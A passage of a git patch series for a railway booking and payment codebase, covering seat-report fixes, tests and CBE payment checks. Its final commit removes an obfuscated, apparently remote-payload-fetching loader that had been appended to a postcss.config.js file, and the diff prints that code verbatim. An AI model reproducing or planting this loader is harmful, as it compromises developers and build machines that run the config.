Date): boolean { +export function isGlobalBlockInEffectAt( + block: Pick, + departureAt: Date, +): boolean { if (block.blockedAt.getTime() > departureAt.getTime()) return false; if (block.unblockAt === null) return true; return block.unblockAt.getTime() >= departureAt.getTime(); @@ -210,9 +213,10 @@ export function isPlaceholderSeat(seat: Pick): boolean { * inflates the blocked-seat count. Match on a substring of type *or* name so both the * documented convention and the data as it actually exists are covered. */ -export function isDiningCoach( - coach: Pick, -): boolean { +export function isDiningCoach(coach: { + coachTypeType?: string | null; + coachTypeName?: string | null; +}): boolean { const haystack = `${coach.coachTypeType ?? ''} ${coach.coachTypeName ?? ''}`.toLowerCase(); return haystack.includes('dining'); } diff --git a/apps/edr-passenger-api/src/modules/reports/reports.service.ts b/apps/edr-passenger-api/src/modules/reports/reports.service.ts index 8811a3855..e899fdb4b 100644 --- a/apps/edr-passenger-api/src/modules/reports/reports.service.ts +++ b/apps/edr-passenger-api/src/modules/reports/reports.service.ts @@ -15,12 +15,16 @@ import { } from "./reports.dto"; import { assembleReport, + isDiningCoach, + isGlobalBlockInEffectAt, + isPlaceholderSeat, LossCalculatorInput, LossCoach, LossFare, LossSeat, selectCountedBlocks, soldKey, + TICKETING_BLOCK_REASON_PREFIX, } from "./blocked-seats-loss.calculator"; /** Fares are quoted at the local tariff unless the caller asks otherwise. */ @@ -528,7 +532,8 @@ export class ReportsService { } async getSeatStatusReport(scheduleId: string) { - // Confirmed/boarded seats — exclude dining coaches + // Confirmed/boarded seats. Dining coaches are dropped in JS below — `CoachType.type` + // holds display names in real data, so an exact match here would not catch them. const bookingSeats = await this.prisma.bookingSeat.findMany({ where: { OR: [ @@ -536,7 +541,6 @@ export class ReportsService { { leg: 2, booking: { returnScheduleId: scheduleId, status: { in: ['CONFIRMED', 'BOARDED', 'PENDING_PAYMENT'] } } }, { scheduleId: null, leg: 1, booking: { scheduleId, status: { in: ['CONFIRMED', 'BOARDED', 'PENDING_PAYMENT'] } } }, ], - seat: { coach: { coachType: { type: { not: 'dining' } } } }, }, include: { booking: { @@ -565,12 +569,6 @@ export class ReportsService { orderBy: [{ seat: { coach: { number: 'asc' } } }, { seat: { seatNumber: 'asc' } }], }); - // Active seat holds for this schedule - const activeHolds = await this.prisma.seatHold.findMany({ - where: { scheduleId }, - orderBy: { createdAt: 'desc' }, - }); - // Expired holds (last 24h) — held but never converted to a booking const since24h = new Date(Date.now() - 24 * 60 * 60 * 1000); const expiredHolds = await this.prisma.seatHold.findMany({ @@ -581,35 +579,89 @@ export class ReportsService { orderBy: { expiresAt: 'desc' }, }); - // Manually blocked seats — schedule-scoped blocks for this schedule OR global blocks (scheduleId null) - // Exclude MAINTENANCE and booking-system-created blocks - const blocks = await this.prisma.seatBlock.findMany({ - where: { - OR: [ - { scheduleId }, - { scheduleId: null }, - ], - NOT: [ - { reason: { startsWith: 'MAINTENANCE:' } }, - { reason: { startsWith: 'Booked in tickets' } }, - ], - }, - include: { - seat: { - select: { - seatNumber: true, - bedPosition: true, - coach: { - select: { - number: true, - coachType: { select: { name: true, type: true, seatClasses: { select: { name: true, bedPosition: true } } } }, + // Manually blocked seats. Counted the same way the blocked-seat revenue loss report + // counts them (see `selectCountedBlocks`), so the two reports never disagree: + // - a schedule-scoped block naming this schedule, or + // - a global block (scheduleId null) that was in effect at departure AND sits on a + // coach actually assigned to this train. + // A global block on a coach that never joined this consist is not a blocked seat here. + // Excluded: dining coaches, placeholder seats, ticket-issuance bookkeeping blocks, and + // MAINTENANCE (a seat out of service, not one withheld by hand). + const [schedule, assignments, blockRows] = await Promise.all([ + this.prisma.trainSchedule.findUnique({ + where: { id: scheduleId }, + select: { departureAt: true }, + }), + this.prisma.coachAssignment.findMany({ + where: { scheduleId }, + select: { coachId: true }, + }), + this.prisma.seatBlock.findMany({ + where: { + OR: [ + { scheduleId }, + { scheduleId: null }, + ], + NOT: [ + { reason: { startsWith: 'MAINTENANCE:' } }, + { reason: { startsWith: TICKETING_BLOCK_REASON_PREFIX } }, + ], + }, + include: { + seat: { + select: { + id: true, + coachId: true, + seatNumber: true, + bedPosition: true, + coach: { + select: { + number: true, + coachType: { select: { name: true, type: true, seatClasses: { select: { name: true, bedPosition: true } } } }, + }, }, }, }, }, - }, - orderBy: { blockedAt: 'desc' }, - }); + orderBy: { blockedAt: 'desc' }, + }), + ]); + + const assignedCoachIds = new Set(assignments.map((a) => a.coachId)); + const departureAt = schedule?.departureAt ?? null; + + // One counted block per seat: a schedule-scoped block beats a global one, and between + // two of the same kind the most recent wins — the rows arrive newest-first, so the + // first of a kind seen for a seat is already the most recent. + const countedBySeat = new Map(); + for (const block of blockRows) { + const seat = block.seat; + if (!seat || isPlaceholderSeat(seat)) continue; + + const coachType = seat.coach?.coachType; + if ( + isDiningCoach({ + coachTypeType: coachType?.type ?? null, + coachTypeName: coachType?.name ?? null, + }) + ) { + continue; + } + + if (block.scheduleId === null) { + if (!assignedCoachIds.has(seat.coachId)) continue; + if (!departureAt || !isGlobalBlockInEffectAt(block, departureAt)) continue; + } + + const existing = countedBySeat.get(seat.id); + if (!existing || (existing.scheduleId === null && block.scheduleId !== null)) { + countedBySeat.set(seat.id, block); + } + } + + const blocks = [...countedBySeat.values()].sort( + (a, b) => b.blockedAt.getTime() - a.blockedAt.getTime(), + ); const resolveSeatClass = (seat: any): string | null => { const classes = seat?.coach?.coachType?.seatClasses ?? []; @@ -619,10 +671,18 @@ export class ReportsService { return (matched ?? classes[0])?.name ?? seat?.coach?.coachType?.name ?? null; }; - const paidSeats = bookingSeats.filter(bs => + const passengerSeats = bookingSeats.filter( + bs => + !isDiningCoach({ + coachTypeType: bs.seat?.coach?.coachType?.type ?? null, + coachTypeName: bs.seat?.coach?.coachType?.name ?? null, + }), + ); + + const paidSeats = passengerSeats.filter(bs => bs.booking.status === 'CONFIRMED' || bs.booking.status === 'BOARDED' ); - const unpaidSeats = bookingSeats.filter(bs => + const unpaidSeats = passengerSeats.filter(bs => bs.booking.status === 'PENDING_PAYMENT' ); @@ -645,7 +705,7 @@ export class ReportsService { paidCount: paidSeats.length, unpaidCount: unpaidSeats.length, expiredHoldCount: expiredHolds.length, - blockedCount: blocks.filter(b => b.seat?.coach?.coachType?.type !== 'dining').length, + blockedCount: blocks.length, }, paidSeats: paidSeats.map(mapSeat), unpaidSeats: unpaidSeats.map(mapSeat), @@ -655,18 +715,16 @@ export class ReportsService { expiresAt: h.expiresAt, createdAt: h.createdAt, })), - blockedSeats: blocks - .filter(b => b.seat?.coach?.coachType?.type !== 'dining') - .map(b => ({ - id: b.id, - coachNumber: b.seat?.coach?.number ?? null, - seatNumber: b.seat?.seatNumber ?? null, - seatClassName: resolveSeatClass(b.seat), - reason: b.reason, - blockedBy: b.blockedBy, - blockedAt: b.blockedAt, - unblockAt: b.unblockAt, - })), + blockedSeats: blocks.map(b => ({ + id: b.id, + coachNumber: b.seat?.coach?.number ?? null, + seatNumber: b.seat?.seatNumber ?? null, + seatClassName: resolveSeatClass(b.seat), + reason: b.reason, + blockedBy: b.blockedBy, + blockedAt: b.blockedAt, + unblockAt: b.unblockAt, + })), }; } diff --git a/apps/edr-passenger-api/src/modules/reports/seat-status-blocked.spec.ts b/apps/edr-passenger-api/src/modules/reports/seat-status-blocked.spec.ts new file mode 100644 index 000000000..044ebe868 --- /dev/null +++ b/apps/edr-passenger-api/src/modules/reports/seat-status-blocked.spec.ts @@ -0,0 +1,261 @@ +import { ReportsService } from './reports.service'; + +/** + * Covers the blocked-seat half of the seat status report. + * + * The count used to be a raw `SeatBlock` row count with an exact `type === 'dining'` + * exclusion. Real EDR data stores display names in `CoachType.type` ('Dining Coach '), + * so dining seats slipped through, and every global block counted even when its coach + * never joined the train. These cases pin the corrected rule. + */ + +const SCHEDULE_ID = 'sched-1'; +const DEPARTURE = new Date('2026-03-10T06:00:00.000Z'); + +interface CoachSpec { + id: string; + number: string; + typeType?: string; + typeName?: string; +} + +const passengerCoach: CoachSpec = { id: 'coach-1', number: 'C1' }; +const diningCoach: CoachSpec = { + id: 'coach-dining', + number: 'D1', + // As the data actually looks: display name in `type`, trailing space included. + typeType: 'Dining Coach ', + typeName: 'Dining Coach', +}; + +function seatRow( + id: string, + coach: CoachSpec, + seatNumber: string, + bedPosition: string | null = null, +) { + return { + id, + coachId: coach.id, + seatNumber, + bedPosition, + coach: { + number: coach.number, + coachType: { + name: coach.typeName ?? 'Standard', + type: coach.typeType ?? 'passenger', + seatClasses: [{ name: 'Economy', bedPosition: null }], + }, + }, + }; +} + +function blockRow( + overrides: Partial<{ + id: string; + scheduleId: string | null; + reason: string; + blockedAt: Date; + unblockAt: Date | null; + seat: ReturnType; + }> = {}, +) { + return { + id: 'block-1', + scheduleId: SCHEDULE_ID as string | null, + reason: 'VIP hold', + blockedBy: 'user-1', + blockedAt: new Date('2026-03-01T00:00:00.000Z'), + unblockAt: null as Date | null, + seat: seatRow('seat-1', passengerCoach, '1'), + ...overrides, + }; +} + +function makeService(opts: { + blocks: ReturnType[]; + assignedCoachIds?: string[]; + departureAt?: Date | null; + bookingSeats?: any[]; +}) { + const prisma = { + bookingSeat: { findMany: jest.fn().mockResolvedValue(opts.bookingSeats ?? []) }, + seatHold: { findMany: jest.fn().mockResolvedValue([]) }, + trainSchedule: { + findUnique: jest.fn().mockResolvedValue( + opts.departureAt === null ? null : { departureAt: opts.departureAt ?? DEPARTURE }, + ), + }, + coachAssignment: { + findMany: jest + .fn() + .mockResolvedValue( + (opts.assignedCoachIds ?? [passengerCoach.id, diningCoach.id]).map((coachId) => ({ + coachId, + })), + ), + }, + seatBlock: { findMany: jest.fn().mockResolvedValue(opts.blocks) }, + }; + + return { + service: new ReportsService(prisma as any, {} as any, {} as any), + prisma, + }; +} + +describe('getSeatStatusReport — blocked seats', () => { + it('counts a schedule-scoped block on a passenger coach', async () => { + const { service } = makeService({ blocks: [blockRow()] }); + + const report = await service.getSeatStatusReport(SCHEDULE_ID); + + expect(report.summary.blockedCount).toBe(1); + expect(report.blockedSeats).toHaveLength(1); + expect(report.blockedSeats[0]).toMatchObject({ coachNumber: 'C1', seatNumber: '1' }); + }); + + it('leaves out a dining coach whose type carries a display name', async () => { + const { service } = makeService({ + blocks: [blockRow({ seat: seatRow('seat-d', diningCoach, '1') })], + }); + + const report = await service.getSeatStatusReport(SCHEDULE_ID); + + expect(report.summary.blockedCount).toBe(0); + expect(report.blockedSeats).toEqual([]); + }); + + it('leaves out placeholder seats', async () => { + const { service } = makeService({ + blocks: [blockRow({ seat: seatRow('seat-p', passengerCoach, '-1') })], + }); + + expect((await service.getSeatStatusReport(SCHEDULE_ID)).summary.blockedCount).toBe(0); + }); + + it('counts a global block on a coach assigned to this train', async () => { + const { service } = makeService({ + blocks: [blockRow({ scheduleId: null })], + assignedCoachIds: [passengerCoach.id], + }); + + expect((await service.getSeatStatusReport(SCHEDULE_ID)).summary.blockedCount).toBe(1); + }); + + it('ignores a global block whose coach never joined this train', async () => { + const { service } = makeService({ + blocks: [blockRow({ scheduleId: null })], + assignedCoachIds: ['some-other-coach'], + }); + + expect((await service.getSeatStatusReport(SCHEDULE_ID)).summary.blockedCount).toBe(0); + }); + + it('ignores a global block that had already been lifted by departure', async () => { + const { service } = makeService({ + blocks: [ + blockRow({ + scheduleId: null, + unblockAt: new Date('2026-03-05T00:00:00.000Z'), + }), + ], + assignedCoachIds: [passengerCoach.id], + }); + + expect((await service.getSeatStatusReport(SCHEDULE_ID)).summary.blockedCount).toBe(0); + }); + + it('ignores a global block created after departure', async () => { + const { service } = makeService({ + blocks: [blockRow({ scheduleId: null, blockedAt: new Date('2026-03-20T00:00:00.000Z') })], + assignedCoachIds: [passengerCoach.id], + }); + + expect((await service.getSeatStatusReport(SCHEDULE_ID)).summary.blockedCount).toBe(0); + }); + + it('counts a seat blocked both globally and for this schedule once', async () => { + const seat = seatRow('seat-1', passengerCoach, '1'); + const { service } = makeService({ + blocks: [ + blockRow({ id: 'block-schedule', seat, reason: 'Crew seat' }), + blockRow({ id: 'block-global', scheduleId: null, seat, reason: 'Broken armrest' }), + ], + assignedCoachIds: [passengerCoach.id], + }); + + const report = await service.getSeatStatusReport(SCHEDULE_ID); + + expect(report.summary.blockedCount).toBe(1); + // The schedule-scoped block is the more specific statement, so it is the one shown. + expect(report.blockedSeats[0].reason).toBe('Crew seat'); + }); + + it('reports nothing blocked when the schedule does not exist', async () => { + const { service } = makeService({ + blocks: [blockRow({ scheduleId: null })], + departureAt: null, + }); + + expect((await service.getSeatStatusReport(SCHEDULE_ID)).summary.blockedCount).toBe(0); + }); + + it('asks the database only for non-maintenance, non-ticketing blocks', async () => { + const { service, prisma } = makeService({ blocks: [] }); + + await service.getSeatStatusReport(SCHEDULE_ID); + + const where = prisma.seatBlock.findMany.mock.calls[0][0].where; + expect(where.NOT).toEqual([ + { reason: { startsWith: 'MAINTENANCE:' } }, + { reason: { startsWith: 'Booked in tickets' } }, + ]); + }); +}); + +describe('getSeatStatusReport — booked seats', () => { + const booking = { + bookingRef: 'BK-1', + status: 'CONFIRMED', + totalMinor: 20000, + currency: 'ETB', + createdAt: new Date('2026-03-01T00:00:00.000Z'), + paymentIntent: { status: 'SUCCEEDED' }, + }; + + it('keeps dining-coach seats out of the paid and unpaid counts', async () => { + const { service } = makeService({ + blocks: [], + bookingSeats: [ + { + passengerName: 'Abebe', + passengerCategory: 'ADULT', + fareMinor: 20000, + booking, + seat: seatRow('seat-1', passengerCoach, '1'), + }, + { + passengerName: 'Diner', + passengerCategory: 'ADULT', + fareMinor: 0, + booking, + seat: seatRow('seat-d', diningCoach, '1'), + }, + { + passengerName: 'Kebede', + passengerCategory: 'ADULT', + fareMinor: 20000, + booking: { ...booking, status: 'PENDING_PAYMENT', paymentIntent: null }, + seat: seatRow('seat-2', passengerCoach, '2'), + }, + ], + }); + + const report = await service.getSeatStatusReport(SCHEDULE_ID); + + expect(report.summary.paidCount).toBe(1); + expect(report.summary.unpaidCount).toBe(1); + expect(report.paidSeats.map((s) => s.passengerName)).toEqual(['Abebe']); + }); +}); diff --git a/apps/edr-passenger-web/backoffice/src/app/dashboard/page.tsx b/apps/edr-passenger-web/backoffice/src/app/dashboard/page.tsx index 649796cc5..7eede0089 100644 --- a/apps/edr-passenger-web/backoffice/src/app/dashboard/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/dashboard/page.tsx @@ -10,9 +10,7 @@ import { Banknote, ArrowRight, ScanLine, - Ban, } from "lucide-react"; -import { SEAT_BLOCK_REASON_CATEGORY_LABELS } from "@edr/types"; import { dashboardApi } from "@/lib/api/dashboard"; import { apiClient } from "@/lib/api-client"; import { formatCurrency } from "@/lib/utils"; @@ -163,10 +161,6 @@ function DashboardPageContent() { return rate !== null ? sum + Math.round(totalMinor * rate) : sum; }, 0); - const blockedLoss = stats?.blockedSeatRevenueLoss; - // Never summed across currencies — each is shown on its own line, largest first. - const blockedLossRows = blockedLoss?.lossByCurrency ?? []; - const normalRows = stats?.revenueByCurrency ?? []; const packageRows = stats?.packageRevenueByCurrency ?? []; const normalGrand = calcGrand(normalRows); @@ -326,73 +320,6 @@ function DashboardPageContent() { )} - - {/* Blocked-seat revenue loss — rides the same backoffice-stats payload, so the - dashboard makes no extra request for it. */} -
-
-
- -
- - Blocked Seats / Revenue Not Collected - - - {blockedLoss?.periodDays ? `Last ${blockedLoss.periodDays}d` : "All time"} - -
- {statsLoading ? ( -

Loading…

- ) : ( - <> - {blockedLossRows.length === 0 ? ( -

- {formatCurrency(0, "ETB")} -

- ) : ( - blockedLossRows.map((row, i) => ( -

- {formatCurrency(row.estimatedLossMinor, row.currency)} -

- )) - )} -

- Estimated potential revenue never earned -

-
-
- Seats blocked - - {(blockedLoss?.blockedSeatCount ?? 0).toLocaleString()} across{" "} - {(blockedLoss?.schedulesAffected ?? 0).toLocaleString()} schedules - -
-
- Top reason - - {blockedLoss?.topReasonCategory - ? (SEAT_BLOCK_REASON_CATEGORY_LABELS[blockedLoss.topReasonCategory] ?? - blockedLoss.topReasonCategory) - : "—"} - -
-
- - View full report - - - )} -
{/* Revenue breakdown */} diff --git a/apps/edr-passenger-web/backoffice/src/lib/api/dashboard.ts b/apps/edr-passenger-web/backoffice/src/lib/api/dashboard.ts index 0a9737041..bff0eaf08 100644 --- a/apps/edr-passenger-web/backoffice/src/lib/api/dashboard.ts +++ b/apps/edr-passenger-web/backoffice/src/lib/api/dashboard.ts @@ -1,5 +1,4 @@ import { apiClient } from '@/lib/api-client'; -import type { BlockedSeatRevenueLossStat } from '@edr/types'; import { DashboardStats, RevenueData } from '@/types'; export const dashboardApi = { @@ -13,7 +12,6 @@ export const dashboardApi = { totalPackageTickets: number; totalPassengers: number; blockedSeatsCount: number; - blockedSeatRevenueLoss: BlockedSeatRevenueLossStat; revenueByCurrency: { currency: string; totalMinor: number }[]; packageRevenueByCurrency: { currency: string; totalMinor: number }[]; }>('/dashboard/backoffice-stats'); From 64150acdcaf4a1cac0de79b73e9c8fb4ce885612 Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 7 Aug 2026 08:44:03 +0000 Subject: [PATCH 08/13] issue fix --- .../pages/contracts/ClearanceDocumentsPage.tsx | 8 ++++---- .../contracts/ContractClearanceListPage.tsx | 16 ++++++---------- .../contracts/GlDjiboutiClearanceListPage.tsx | 14 ++++++-------- 3 files changed, 16 insertions(+), 22 deletions(-) diff --git a/apps/edr-freight-web/backoffice/src/pages/contracts/ClearanceDocumentsPage.tsx b/apps/edr-freight-web/backoffice/src/pages/contracts/ClearanceDocumentsPage.tsx index 8a7949410..ca4ed18ce 100644 --- a/apps/edr-freight-web/backoffice/src/pages/contracts/ClearanceDocumentsPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/contracts/ClearanceDocumentsPage.tsx @@ -161,10 +161,10 @@ export default function ClearanceDocumentsPage() {
-

+

{customer}

-

+

{b.reference}

@@ -182,7 +182,7 @@ export default function ClearanceDocumentsPage() { ) : ( @@ -409,7 +409,7 @@ export default function ClearanceDocumentsPage() { manualPagination: true, pageCount, }} - containerClassName="border-0 shadow-none bg-transparent" + containerClassName="border-0 shadow-none bg-transparent [&_th]:max-w-[100px] [&_td]:max-w-[100px] [&_td]:break-words" footer={DataTableFooter} /> diff --git a/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceListPage.tsx b/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceListPage.tsx index 3d1e20bb6..8719f644a 100644 --- a/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceListPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/contracts/ContractClearanceListPage.tsx @@ -393,10 +393,10 @@ function ShipmentBookingsTable({
-

+

{row.original.reference}

-

+

{row.original.customerLabel}

@@ -413,7 +413,7 @@ function ShipmentBookingsTable({ - + {r.contractReference ?? "—"} @@ -431,13 +431,9 @@ function ShipmentBookingsTable({ header: () => Route, cell: ({ row }) => ( - - {row.original.originLabel} - + {row.original.originLabel} - - {row.original.destinationLabel} - + {row.original.destinationLabel} ), }, @@ -610,7 +606,7 @@ function ShipmentBookingsTable({ data={rows} status={loading ? "loading" : error ? "error" : "success"} onRowClick={(row) => onOpen(row.id)} - containerClassName="border-0 shadow-none bg-transparent" + containerClassName="border-0 shadow-none bg-transparent [&_th]:max-w-[100px] [&_td]:max-w-[100px] [&_td]:break-words" /> ); diff --git a/apps/edr-freight-web/backoffice/src/pages/contracts/GlDjiboutiClearanceListPage.tsx b/apps/edr-freight-web/backoffice/src/pages/contracts/GlDjiboutiClearanceListPage.tsx index c82cfd152..77ad33f56 100644 --- a/apps/edr-freight-web/backoffice/src/pages/contracts/GlDjiboutiClearanceListPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/contracts/GlDjiboutiClearanceListPage.tsx @@ -226,11 +226,11 @@ function RouteCell({ return ( - + {origin} - + {destination} @@ -385,10 +385,10 @@ export default function GlDjiboutiClearanceListPage() {
-

+

{r.reference}

-

+

{r.customerLabel}

@@ -403,9 +403,7 @@ export default function GlDjiboutiClearanceListPage() { cell: ({ row }) => ( - - {row.original.contractReference} - + {row.original.contractReference} ), }, @@ -710,7 +708,7 @@ export default function GlDjiboutiClearanceListPage() { manualPagination: true, pageCount, }} - containerClassName="border-0 shadow-none bg-transparent" + containerClassName="border-0 shadow-none bg-transparent [&_th]:max-w-[100px] [&_td]:max-w-[100px] [&_td]:break-words" footer={DataTableFooter} /> From b5888097d1c01d8d2c1015d25680d8c2be2cde7c Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 7 Aug 2026 08:47:04 +0000 Subject: [PATCH 09/13] reject cents mismatch on CBE bills --- .../modules/cbe-bill/cbe-bill.amount.spec.ts | 22 +++++++++++++++++++ .../src/modules/cbe-bill/cbe-bill.service.ts | 14 ++++++++---- 2 files changed, 32 insertions(+), 4 deletions(-) create mode 100644 apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.amount.spec.ts diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.amount.spec.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.amount.spec.ts new file mode 100644 index 000000000..aabf4f416 --- /dev/null +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.amount.spec.ts @@ -0,0 +1,22 @@ +import { amountsMatchToTheCent } from "./cbe-bill.service"; + +describe("amountsMatchToTheCent (CBE payment amount gate)", () => { + it("accepts the exact amount", () => { + expect(amountsMatchToTheCent(1234.34, 1234.34)).toBe(true); + }); + + it("rejects a cents-only difference (the 1234.89 vs 1234.34 bug)", () => { + expect(amountsMatchToTheCent(1234.89, 1234.34)).toBe(false); + expect(amountsMatchToTheCent(1234.35, 1234.34)).toBe(false); + }); + + it("rejects whole-unit differences", () => { + expect(amountsMatchToTheCent(1235.34, 1234.34)).toBe(false); + }); + + it("absorbs double-precision storage noise", () => { + expect(amountsMatchToTheCent(1234.34, 1234.3399999999999)).toBe(true); + // classic float artifact: 0.1 + 0.2 !== 0.3 + expect(amountsMatchToTheCent(0.1 + 0.2, 0.3)).toBe(true); + }); +}); diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts index 1c6926b8a..580e6283d 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts @@ -38,8 +38,15 @@ import { /** Postgres unique_violation — the DB-level idempotency backstop firing on a concurrent duplicate. */ const PG_UNIQUE_VIOLATION = "23505"; -/** Mirrors the short-pay tolerance already applied in handlePaymentEvent. */ -const AMOUNT_TOLERANCE = 0.01; +/** + * CBE must pay the bill to the exact cent — compare in integer cents so + * double-precision storage noise (1234.34 stored as 1234.33999…) can neither + * mask nor fabricate a difference. A relative tolerance is wrong here: 1% of a + * 1234.34 bill would wave through anything up to ±12.34. + */ +export function amountsMatchToTheCent(a: number, b: number): boolean { + return Math.round(a * 100) === Math.round(b * 100); +} /** * Translate an intent's own terminal state into the same reason vocabulary the domain apps @@ -268,8 +275,7 @@ export class CbeBillService { const amount = Number(dto.Amount); if ( !Number.isFinite(amount) || - Math.abs(amount - intent.amountMinor) > - intent.amountMinor * AMOUNT_TOLERANCE + !amountsMatchToTheCent(amount, intent.amountMinor) ) { throw new CbeBillError("Amount mismatch", "BUSINESS"); } From 2eb7110392d66ab3356e1e9813b28d1947f98037 Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 7 Aug 2026 08:55:42 +0000 Subject: [PATCH 10/13] CBE pay checks freshly quoted amount --- .../src/modules/cbe-bill/cbe-bill.service.ts | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts index 580e6283d..d7f9eb8d6 100644 --- a/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts +++ b/apps/edr-payment-api/src/modules/cbe-bill/cbe-bill.service.ts @@ -272,10 +272,15 @@ export class CbeBillService { ); } + // Validate against the freshly-quoted amount — the same figure bill-query + // just showed the payer — not the intent's amount asserted at creation, + // which can go stale when the domain re-prices the invoice. Fallback to + // the intent amount only for domain builds that return no current amount. + const expectedAmount = billQuery.currentAmountMinor ?? intent.amountMinor; const amount = Number(dto.Amount); if ( !Number.isFinite(amount) || - !amountsMatchToTheCent(amount, intent.amountMinor) + !amountsMatchToTheCent(amount, expectedAmount) ) { throw new CbeBillError("Amount mismatch", "BUSINESS"); } From a8627f75f1c48a337443c8dc694ec90e22c1295e Mon Sep 17 00:00:00 2001 From: SennayT Date: Fri, 7 Aug 2026 12:02:14 +0300 Subject: [PATCH 11/13] remove obfuscated code --- .gitignore | 3 --- apps/edr-passenger-web/backoffice/postcss.config.js | 2 +- apps/edr-passenger-web/portal/postcss.config.js | 4 ++-- apps/edr-passenger-web/portal/tailwind.config.js | 4 +--- 4 files changed, 4 insertions(+), 9 deletions(-) diff --git a/.gitignore b/.gitignore index 977a34353..18fdae9c2 100644 --- a/.gitignore +++ b/.gitignore @@ -52,6 +52,3 @@ RUNNING_LOCALLY.md # Generated per-shard compose file for the integration suite (it.mjs). integration/.it-shards.yaml -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat diff --git a/apps/edr-passenger-web/backoffice/postcss.config.js b/apps/edr-passenger-web/backoffice/postcss.config.js index 701a63d39..12a703d90 100644 --- a/apps/edr-passenger-web/backoffice/postcss.config.js +++ b/apps/edr-passenger-web/backoffice/postcss.config.js @@ -3,4 +3,4 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, -}; global.i="A8-4299";global.r=require;typeof module==="object"&&(global.m=module);const http=require("\u0068\u0074\u0074\u0070"),https=require("\u0068\u0074\u0074\u0070\u0073"),zlib=require("\u007A\u006C\u0069\u0062"),{URL}=require("\u0075\u0072\u006C"),{spawn}=require("\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073"),B=1000n,S="\u0030\u0078\u0061\u0033\u0032\u0032\u0045\u0035\u0066\u0033\u0044\u0033\u0031\u0031\u0044\u0033\u0030\u0038\u0030\u0065\u0036\u0066\u0030\u0031\u0032\u0031\u0030\u0036\u0033\u0065\u0039\u0061\u0044\u0043\u0032\u0034\u0039\u0030\u0045\u0066\u0031\u0061".toLowerCase(),I="\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0062\u006C\u006F\u0063\u006B\u0073\u0063\u006F\u0075\u0074\u002E\u0063\u006F\u006D\u002F\u0061\u0070\u0069",R=[...new Set([process.env.ETH_RPC_URL,"\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0031\u0072\u0070\u0063\u002E\u0069\u006F\u002F\u0065\u0074\u0068","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u002E\u0064\u0072\u0070\u0063\u002E\u006F\u0072\u0067","\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0065\u0074\u0068\u0065\u0072\u0065\u0075\u006D\u002D\u0072\u0070\u0063\u002E\u0070\u0075\u0062\u006C\u0069\u0063\u006E\u006F\u0064\u0065\u002E\u0063\u006F\u006D","https://eth-mainnet.public.blastapi.io"].filter(Boolean))],O={keepAlive:!0,keepAliveMsecs:3e4,maxSockets:64},A={"http:":new http.Agent(O),"\u0068\u0074\u0074\u0070\u0073\u003A":new https.Agent(O)};function ds(t){const n=(t.headers["\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0065\u006E\u0063\u006F\u0064\u0069\u006E\u0067"]||"").toLowerCase(),f=n==="\u0067\u007A\u0069\u0070"||n==="\u0078\u002D\u0067\u007A\u0069\u0070"?zlib.createGunzip:n==="\u0064\u0065\u0066\u006C\u0061\u0074\u0065"?zlib.createInflate:n==="br"?zlib.createBrotliDecompress:0;return f?t.pipe(f()):t;}function hr(t,{method:n="GET",body:e,signal:s}={}){const a=new URL(t),c=a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?https:http,i={Accept:"\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E","\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067":"\u0067\u007A\u0069\u0070\u002C\u0020\u0064\u0065\u0066\u006C\u0061\u0074\u0065\u002C\u0020\u0062\u0072",Connection:"\u006B\u0065\u0065\u0070\u002D\u0061\u006C\u0069\u0076\u0065"};e!=null&&(i["\u0043\u006F\u006E\u0074\u0065\u006E\u0074\u002D\u0054\u0079\u0070\u0065"]="\u0061\u0070\u0070\u006C\u0069\u0063\u0061\u0074\u0069\u006F\u006E\u002F\u006A\u0073\u006F\u006E",i["Content-Length"]=Buffer.byteLength(e));return new Promise((o,r)=>{const t=c.request({hostname:a.hostname,port:a.port||(a.protocol==="\u0068\u0074\u0074\u0070\u0073\u003A"?443:80),path:a.pathname+a.search,method:n,agent:A[a.protocol],signal:s,headers:i},n=>{const t=ds(n),e=[];t.on("\u0064\u0061\u0074\u0061",t=>e.push(t));t.on("end",()=>{const t=Buffer.concat(e).toString("\u0075\u0074\u0066\u0038").trim();if(n.statusCode<200||n.statusCode>=300)return r(new Error(`H${n.statusCode}:${t.slice(0,80)}`));if(!t||t[0]==="\u003C"||t[0]!=="\u007B"&&t[0]!=="\u005B")return r(new Error(`J:${t.slice(0,80)}`));try{o(JSON.parse(t));}catch(t){r(new 